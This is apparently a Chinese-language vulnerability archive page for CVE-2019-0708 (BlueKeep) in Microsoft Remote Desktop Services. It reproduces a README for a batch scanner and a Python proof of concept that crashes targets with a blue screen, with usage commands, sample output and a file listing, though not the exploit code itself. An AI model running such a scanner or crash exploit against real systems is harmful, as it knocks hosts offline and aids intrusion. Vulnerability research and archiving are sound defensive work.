关联漏洞
标题：
Microsoft Remote Desktop Services 资源管理错误漏洞
(CVE-2019-0708)
描述：Microsoft Windows和Microsoft Windows Server都是美国微软（Microsoft）公司的产品。Microsoft Windows是一套个人设备使用的操作系统。Microsoft Windows Server是一套服务器操作系统。Remote Desktop Services是其中的一个远程桌面服务组件。 Microsoft Remote Desktop Services中存在资源管理错误漏洞。该漏洞源于网络系统或产品对系统资源（如内存、磁盘空间、文件等）的管理不当。以下
描述
CVE-2019-0708 BlueKeep漏洞批量扫描工具和POC，暂时只有蓝屏。
介绍
# CVE-2019-0708
CVE-2019-0708 BlueKeep漏洞批量扫描工具和POC，暂时只有蓝屏。
### 0x01 扫描 - windows
usage：
rdpscan.exe ip1-ip2
> .\rdpscan.exe 192.168.1.1-192.168.1.2
192.168.1.1 - VULNERABLE - CVE-2019-0708
192.168.1.2 - SAFE - CredSSP/NLA required
rdpscan.exe --file ip.txt
> .\rdpscan.exe --file ip.txt
192.168.1.1 - VULNERABLE - CVE-2019-0708
192.168.1.2 - SAFE - CredSSP/NLA required
### 0x02 POC利用
usage：
python poc.py ip 系统位数
> python .\cve-2019-0708-poc.py 192.168.1.1 32
[+] ClientData Packet Sent
[+] ChannelJoin/ErectDomain/AttachUser Sent
[+] ClientInfo Packet Sent
[+] ConfirmActive Packet Sent
[+] Session Established
[+] Vuln Should Trigger
文件快照
[4.0K] /data/pocs/4a315d91ad8426cf3f38d41fc8f78ca952045364
├── [ 16K] cve-2019-0708-poc.py
├── [2.5M] libcrypto-1_1.dll
├── [605K] libssl-1_1.dll
├── [168K] rdpscan.exe
└── [ 714] README.md
0 directories, 5 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。